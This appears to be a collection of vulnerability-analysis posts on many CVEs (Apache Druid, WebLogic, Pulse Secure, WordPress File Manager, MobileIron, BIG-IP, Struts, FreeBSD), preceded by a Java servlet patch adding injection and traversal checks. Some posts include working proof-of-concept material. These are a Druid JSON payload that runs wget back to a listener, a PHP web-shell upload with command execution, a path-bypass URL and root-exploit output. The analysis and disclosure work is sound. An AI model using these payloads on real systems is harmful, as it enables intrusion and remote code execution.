+ if (strImportFilePath != null && !strImportFilePath.equals("")) {
+ sqlInj3 = cutil.checkSQLInjection(strImportFilePath);
+ filepathDir3 = cutil.checkDirectory(strImportFilePath);
+ }
+ if (strConfigFilePath != null && !strConfigFilePath.equals("")) {
+ sqlInj4 = cutil.checkSQLInjection(strConfigFilePath);
+ filepathDir4 = cutil.checkDirectory(strConfigFilePath);
+ }
+ if (strDbBackupFilePath != null && !strDbBackupFilePath.equals("")) {
+ sqlInj5 = cutil.checkSQLInjection(strDbBackupFilePath);
+ filepathDir5 = cutil.checkDirectory(strDbBackupFilePath);
+ }
+ if (strZTPTemplatesPath != null && !strZTPTemplatesPath.equals("")) {
+ sqlInj6 = cutil.checkSQLInjection(strZTPTemplatesPath);
+ filepathDir6 = cutil.checkDirectory(strZTPTemplatesPath);
+ }
+ if (sqlInj1 || sqlInj2 || sqlInj3 || sqlInj4 || sqlInj5 || sqlInj6)
+ bDataOk = false;
+ if (!filepathDir1 || !filepathDir2 || !filepathDir3 || !filepathDir4 ||
+ !filepathDir5 || !filepathDir6) {
+ bSecVuln = true;
bDataOk = false;
+ }
} catch (Exception exception) {}
if (bDataOk) {
if (nUseCustomNaming == 1)
bDataOk = tempDeviceTreeTable.saveNamingData(strJSONNamingObj);
if (bDataOk) {
if (tempSystemTable.updateSystemSettings(strJSONObj)) {
strResults.append("[{\"PROMPATH\":\"");
strResults.append(addBackslash(strPROMFilePath));
strResults.append("\",\"EXPORTPATH\":\"");
strResults.append(addBackslash(strExportFilePath));
strResults.append("\",\"IMPORTPATH\":\"");
strResults.append(addBackslash(strImportFilePath));
strResults.append("\",\"CONFIGPATH\":\"");
strResults.append(addBackslash(strConfigFilePath));
strResults.append("\",\"DBBACKUPPATH\":\"");
strResults.append(addBackslash(strDbBackupFilePath));
strResults.append("\",\"ZTPTEMPLATESPATH\":\"");
strResults.append(addBackslash(strZTPTemplatesPath));
strResults.append("\",\"SSHPORT\":\"");
strResults.append(addBackslash(strSSHPort));
strResults.append("\",\"TFTPPORT\":\"");
strResults.append(addBackslash(strTFTPPort));
strResults.append("\",\"MAXBACKUPFILES\":\"");
strResults.append(addBackslash(strMaxBackupFiles));
strResults.append("\",\"NETWORKSCANTIMEOUT\":\"");
strResults.append(addBackslash(strNetworkScanTimeout));
strResults.append("\",\"USERSESSIONTIMEOUT\":\"");
strResults.append(addBackslash(strUserSessionTimeout));
strResults.append("\",\"USECUSTOMNAMING\":\"");
strResults.append(Integer.toString(nUseCustomNaming));
if (nUseCustomNaming == 1) {
if (tempDeviceTreeTable.createCustomNaming()) {
String strTempNaming = tempDeviceTreeTable.getCustomNaming();
strResults.append("\",\"CUSTOMNAMETEMPLATE\":\"" + strTempNaming + "\"},");
} else {
strResults.append("\",\"CUSTOMNAMETEMPLATE\":\"\"},");
}
if (tempDeviceTreeTable.getNamingData()) {
strResults.append(String.valueOf(tempDeviceTreeTable.getJSONObject()) + "]");
} else {
strResults.append("{\"IVIEW_NAMING\":\"\"}]");
}
} else {
strResults.append("\",\"CUSTOMNAMETEMPLATE\":\"\"},{\"IVIEW_NAMING\":\"\"}]");
}
} else {
strResults.append("Failed to save System Settings data.");
}
} else {
strResults.append("Failed to save custom naming format data.");
}
+ } else if (bSecVuln) {
+ strResults.append("Failed to updateSystemSettings: File Path Error.");
} else {
strResults.append("Failed to parse updateSystemSettings data.");
}
response.setContentType("text/html");
try {
PrintWriter out = response.getWriter();
out.println(strResults.toString());
} catch (Exception e) {
- System.out.println("NetworkServlet-retrieveSystemSettings: " + e.toString());
+ System.out.println("NetworkServlet-updateSystemSettings: " + e.toString());
}
return bReturn;
}
private boolean exportInventoryTable(HttpServletRequest request, HttpServletResponse response) {
boolean bReturn = false;
String strResults = new String();
String strColumnList = request.getParameter("col_list");
String strSeperator = request.getParameter("sep_type");
String strFilename = request.getParameter("filename");
String strSearchTerm = request.getParameter("query");
String strSearchCol = request.getParameter("qtype");
String strSortCol = request.getParameter("sortname");
String strSortOrder = request.getParameter("sortorder");
DeviceTreeTable tempDeviceTreeTable = new DeviceTreeTable();
+ HttpSession session = request.getSession();
+ if (session == null || session.getAttribute("user_id") == null || session.getAttribute("user_name") == null || session.getAttribute("user_level") == null) {
+ strResults = "Failed to export inventory table: User Not Login";
+ System.out.println("Failed to export inventory table: User Not Login");
+ response.setContentType("text/html");
+ try {
+ PrintWriter out = response.getWriter();
+ out.println(strResults);
+ } catch (Exception e) {
+ System.out.println("NetworkServlet-exportInventoryTable: " + e.toString());
+ }
+ return bReturn;
+ }
try {
Thread.sleep(3000L);
} catch (InterruptedException interruptedException) {}
- boolean sqlInj1 = false, sqlInj2 = false, dtrl = false;
+ boolean sqlInj0 = false, sqlInj1 = false, sqlInj2 = false, dtrl = false;
CUtils cutil = new CUtils();
+ if (strColumnList != null && !strColumnList.equals(""))
+ sqlInj0 = cutil.checkSQLInjection(strColumnList);
if (strSearchTerm != null && !strSearchTerm.equals(""))
sqlInj1 = cutil.checkSQLInjection(strSearchTerm);
if (strSearchCol != null && !strSearchCol.equals(""))
sqlInj2 = cutil.checkSQLInjection(strSearchCol);
if (strFilename != null && !strFilename.equals(""))
- dtrl = cutil.checkFileNameIncludePath(strFilename);
- if (!sqlInj1 && !sqlInj2 && !dtrl) {
+ dtrl = cutil.checkFileNameIncludePath(strFilename, "csv");
+ if (!sqlInj0 && !sqlInj1 && !sqlInj2 && !dtrl) {
if (tempDeviceTreeTable.exportInventoryTable(strColumnList, strSeperator, strFilename, strSearchTerm, strSearchCol, strSortCol, strSortOrder)) {
strResults = "Export has completed.";
} else {
strResults = "Export failed.";
}
} else if (dtrl && !sqlInj1 && !sqlInj2) {
- strResults = "Export failed: Directory Traversal Vulnerability";
+ strResults = "Export failed: Directory/Path Traversal Vulnerability";
} else if (!dtrl && (sqlInj1 || sqlInj2)) {
strResults = "Export failed: SQL Injection Vulnerability";
} else {
strResults = "Export failed: Security Vulnerability";
}
response.setContentType("text/html");
try {
PrintWriter out = response.getWriter();
out.println(strResults);
} catch (Exception e) {
System.out.println("NetworkServlet.exportInventoryTable: " + e.toString());
}
return bReturn;
}
6
Technical Analysis
From Wikipedia:
Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.
Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]
Contrary to the CVE description, this appears to be both unauthenticated and vulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?
wvu@kharak:~/Downloads$ curl -vH "Content-Type: application/json" http://127.0.0.1:8888/druid/indexer/v1/sampler -d @payload.json
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> POST /druid/indexer/v1/sampler HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 949
>
* upload completely sent off: 949 out of 949 bytes
< HTTP/1.1 200 OK
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Content-Type: application/json
< Vary: Accept-Encoding, User-Agent
< Content-Length: 999
<
* Connection #0 to host 127.0.0.1 left intact
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0
wvu@kharak:~/Downloads$
wvu@kharak:~$ ncat -lkv 8080 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 192.168.123.1. Ncat: Connection from 192.168.123.1:56727. GET / HTTP/1.1 Host: 192.168.123.1:8080 User-Agent: Wget Connection: close
payload.json is adapted from this PoC, then formatted with jq.
wvu@kharak:~/Downloads$ cat payload.json
{
"type": "index",
"spec": {
"type": "index",
"ioConfig": {
"type": "index",
"inputSource": {
"type": "http",
"uris": [
"https://druid.apache.org/data/example-manifests.tsv"
]
},
"inputFormat": {
"type": "tsv",
"findColumnsFromHeader": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"missingValue": "2010-01-01T00:00:00Z"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": [],
"filter": {
"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.123.1:8080/')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 50,
"timeoutMs": 10000
}
}
wvu@kharak:~/Downloads$
Some references for creating your own PoC:
3
2
Technical Analysis
Please see the Rapid7 analysis on the zero-day vulnerability. It is suspected that CVE-2021-20016 was used to compromise SonicWall’s internal network.
2
1
Technical Analysis
Please see the Rapid7 analysis. CVE-2021-3007 is being used in the “FreakOut” attack campaign.
1
Technical Analysis
Please see the Rapid7 analysis. CVE-2020-28188 is being used in the “FreakOut” attack campaign.
3
2
Technical Analysis
See my assessment on CVE-2019-0230. Apache themselves said this is similar to S2-059.
1
1
4
Technical Analysis
1
I can confirm RCE. Thanks for the notes!
5
Technical Analysis
CVE-2020-14750 appears to be the patch bypass for CVE-2020-14882. Please see CVE-2020-14882’s Rapid7 analysis for more information. The CVE-2020-14750 patch is reproduced below.
--- patched1/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java 2020-11-02 13:13:28.000000000 -0600 +++ patched2/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java 2020-11-02 12:11:01.000000000 -0600 @@ -2,6 +2,7 @@ import com.bea.netuix.servlets.manager.SingleFileServlet; import java.io.IOException; +import java.util.List; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; @@ -20,8 +21,6 @@ private static final long serialVersionUID = 1L; - private static final String[] IllegalUrl = new String[] { ";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">" }; - public static void initMBean() { MBeanUtilsInitializer.initMBeanAsynchronously(); } @@ -39,8 +38,9 @@ if (req instanceof HttpServletRequest) { HttpServletRequest httpServletRequest = (HttpServletRequest)req; String url = httpServletRequest.getRequestURI(); - for (int i = 0; i < IllegalUrl.length; i++) { - if (url.contains(IllegalUrl[i])) { + if (!ConsoleUtils.isUserAuthenticated(httpServletRequest)) + throw new ServletException("User not authenticated."); + if (!isValidUrl(url, httpServletRequest)) { if (resp instanceof HttpServletResponse) { LOG.error("Invalid request URL detected. "); HttpServletResponse httpServletResponse = (HttpServletResponse)resp; @@ -49,7 +49,6 @@ return; } } - } try { super.service(req, resp); } catch (IllegalStateException e) { @@ -60,4 +59,15 @@ LOG.debug(e); } } + + private boolean isValidUrl(String url, HttpServletRequest req) { + String consoleContextPath = ConsoleUtils.getConsoleContextPath(); + List<String> portalList = ConsoleUtils.getConsolePortalList(); + for (String portal : portalList) { + String tmp = "/" + consoleContextPath + portal; + if (url.equals(tmp)) + return true; + } + return false; + } }
2
1
This is a great breakdown. Thank you!
2
This is a great breakdown. Thank you!
4
Technical Analysis
Public details are sparse at the moment, but the CVSSv3 score of 10.0 suggests this is a trivial, unauthenticated attack. Moreover, command injection is about as bad as it gets.
4
Technical Analysis
Please see the Rapid7 analysis. A Metasploit module will be released.
4
Technical Analysis
Oh dear, another Pulse Secure vuln. Let’s break this down lightly.
This particular CVE can be compared to CVE-2019-11539, which is also an authenticated RCE that requires access to the admin interface. So, the fact that this requires admin interface access (SSRF notwithstanding) significantly reduces the impact of the vuln.
But wait, there’s more! Why was CVE-2019-11539 such a big deal, then? We have to consider the effects of CVE-2019-11510 in the exploit chain. We were able to leak session cookies with CVE-2019-11510, among many other things, which let us authenticate our post-auth RCE. All it takes is one info leak primitive. And short of an info leak, creds can still be compromised in other ways, such as through default creds, password spraying, or even a file in an SMB share somewhere (hopefully internal).
So, uh, yeah. Patch this. Secure your creds and don’t make them admin:admin. Admin access alone is devastating. Don’t add root RCE to it. VPN is the window into your org.
2
6
Technical Analysis
CVE-2020-15589 and CVE-2020-24397 are grouped together with this.
I want to clarify that these are client-side vulnerabilities in ManageEngine Desktop Central. Exploiting them will certainly require MITM or other control of the network.
Details and a PoC are available, so patch this immediately. Desktop Central is UEM software, and while this is a set of client-side vulns, you don’t want attackers taking advantage of such critical software.
4
Technical Analysis
Confirming I was able to reproduce this vuln when it became known.
ETA PoC:
wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php -F cmd=upload -F target=l1_ -F "upload[]=@-; filename=x.php" <<<'<?php passthru($_REQUEST["c"]); ?>' | jq
{
"added": [
{
"isowner": false,
"ts": 1599193366,
"mime": "text/x-php",
"read": 1,
"write": 1,
"size": "35",
"hash": "l1_eC5waHA",
"name": "x.php",
"phash": "l1_Lw",
"url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php"
}
],
"removed": [],
"changed": [
{
"isowner": false,
"ts": 1599193366,
"mime": "directory",
"read": 1,
"write": 1,
"size": 0,
"hash": "l1_Lw",
"name": "files",
"phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg",
"volumeid": "l1_",
"locked": 1
}
]
}
wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$
The first HTTP request uploads the PHP payload, and the second one executes it.
4
Technical Analysis
Analysis
The VPN client verifies that certificates are signed by a) Fortinet themselves or b) a “trusted” CA. The Fortinet-signed certificate does not have its server name verified, and an attacker can substitute in another Fortinet-signed certificate for use in a man-in-the-middle (MITM) attack.
The attacker may then be able to retrieve VPN user credentials and tokens from the captured network traffic.
Exploitability
The attacker needs a Fortinet-signed certificate as well as presence on the target’s network to initiate the MITM attack. The certificate can be obtained from another Fortinet device, and the network access can be obtained through a compromised IoT device as the researchers suggested.
All in all, exploitability is lower due to the targeted exploit chain.
Impact
An attacker may obtain VPN access to an organization’s network and its services.
Recommendations
VPN administrators should use only certificates that are signed by a trusted CA.
3
Technical Analysis
Aruba’s ClearPass Policy Manager, part of the Aruba 360 Secure Fabric, provides role- and device-based secure network access control for IoT, BYOD, corporate devices, as well as employees, contractors and guests across any multivendor wired, wireless and VPN infrastructure.
https://www.arubanetworks.com/assets/ds/DS_ClearPass_PolicyManager.pdf
Unauthed RCE in NAC software. Not sure how common this one is, but it’s name-brand software, so expect to see it on enterprise networks. High-impact target if compromised, since NAC is tightly integrated with the network.
Detailed writeup here.
1
Technical Analysis
It’s not actually clear this is the RCE in the blog post It’s clear now, so please see CVE-2020-15506 for the original analysis.
3
Technical Analysis
https://mobileiron/mifs/.;/services/someService
The “auth bypass” relies on a discrepancy between how Apache and Tomcat parse the path component in the URI, which is the same technique that was applied to CVE-2020-5902.
“Bypassing authentication” allows one to achieve RCE against either the user interface or the management interface, though it’s not clear that CVE-2020-15505 is the RCE used in the blog post. This is more of an ACL bypass than an auth bypass, honestly. This was briefly mentioned in the post.
Since MobileIron is mobile device management (MDM) software, which is increasingly relevant as the workforce shifts toward remote work, compromising a target’s MDM infrastructure may have devastating consequences.
Developers gluing disparate pieces of software together should take care to avoid turning expected input from one software into unexpected input for another. This bug class is well-documented. In the end, even input sanitization should take care to avoid normalization bugs.
Great find, Orange!
Also see CVE-2020-15505, a MobileIron RCE.
ETA: CVE-2020-15505 uses an ACL bypass, but in retrospect, I don’t think it’s this auth bypass. This analysis can be applied to CVE-2020-15505, consequently.
2
Technical Analysis
This is reflected (vs. stored) XSS under certain circumstances, so I’m not sure how useful this is outside, say, phishing for creds – critical rating aside. Happy to be shown otherwise.
2
Technical Analysis
This appears to be enterprise asset management software, which would be common in, well, enterprise environments. This vulnerability is authenticated, though, so you will need to obtain creds. After that, Java deserialization RCE is typically a well-supported attack.
1
Technical Analysis
Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.
1
Technical Analysis
Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.
1
Technical Analysis
Not enough is known about this vulnerability, but if an unauthenticated attacker can knock out a PAN-OS device, that could cause severe network disruption. RCE would be even worse. Note that this affects only the Captive Portal and Multi-Factor Authentication interfaces.
2
Technical Analysis
WordPress sites are getting exploited en masse with this vuln. The File Manager plugin is the first result for “file manager” in the WordPress plugin database. No surprise lots of people are installing it, considering its generic name. ~700k by the numbers.
The vuln is trivial to exploit and weaponize, too. If you’re running the plugin, you need to bring in incident response. The edited PoC below shows that the vuln can be exploited in two requests to execute arbitrary PHP code.
wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [redacted] | jq
{
"added": [
{
"isowner": false,
"ts": 1599193366,
"mime": "text/x-php",
"read": 1,
"write": 1,
"size": "35",
"hash": "l1_eC5waHA",
"name": "x.php",
"phash": "l1_Lw",
"url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php"
}
],
"removed": [],
"changed": [
{
"isowner": false,
"ts": 1599193366,
"mime": "directory",
"read": 1,
"write": 1,
"size": 0,
"hash": "l1_Lw",
"name": "files",
"phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg",
"volumeid": "l1_",
"locked": 1
}
]
}
wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$
1
1
2
Technical Analysis
This XSS combined with CVE-2020-3430, a protocol handler RCE vulnerability, is a potent combination.
Note that this attack requires intercepting/sending a crafted message to a recipient. It does not, however, require their interaction. If an attacker has local access to Jabber or is otherwise authenticated to a Jabber network, this isn’t a stretch.
Please patch this in your corporate networks! Attackers have been known to read IM messages and even send phishing links through them. This is worse, since it’s potentially wormable RCE… if you use Jabber at all. :–)
1
Technical Analysis
There is an exploit for this. I was able to extract the firmware and statically confirm the vulnerability. I haven’t tried to kick it off in QEMU yet.
Fun bug chain. The vendor hasn’t patched this. If you’re using this in your environment, you may want to disable the web interface as per the exploit’s README.md.
Note that this HiveOS is not to be confused with the mining platform HiveOS. This is Wi-Fi stuff.
2
Technical Analysis
In the most recent vulnerable versions of BIG-IP, accessing TMSH through the TMUI path traversal leads to “RCE” insofar as you can execute management commands in a restricted TMSH environment.
That said, there are a few different ways you can break out of the restricted shell. One method utilizes TMSH’s command alias functionality to map a blocked command to an allowed command. This results in Unix shell access as root.
In either case, privileged access to an F5 BIG-IP device is critical, as these often sit at network borders and even provide SSL termination!
3
Technical Analysis
Unlike CVE-2017-5638, which was exploitable out of the box, since it targeted Struts’ Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.
I don’t know how common this particular scenario is. Please read the security bulletin for more information. However, what I do know is that this CVE falls somewhere after CVE-2017-5638 and CVE-2018-11776 on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.
So, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.
1
Technical Analysis
This popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!
2
Technical Analysis
Seems to be a reliable though somewhat elaborate LPE on all 64-bit FreeBSD kernels since 2014.
Though FBSD may not be as common as (GNU/)Linux, I’ve seen it used as an appliance base by certain vendors. The OS doesn’t always get patched in those cases.
ETA: Looks like it has the potential to crash even exploitable systems, but it is a kernel heap memory corruption.
$ ./exploit [+] Starting wrecker [+] Wrecker ready [+] Starting executor [+] Waiting... [+] Winner 1 [+] Winner 2 [+] Magic found # id uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user) # uname -a FreeBSD 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64 #
Otherwise working.
5
@JoeUX: Those are great questions! Deserialization itself can be the vulnerability. Moreover, much of Exchange is written in .NET, which can be easily decompiled. Hope this helps.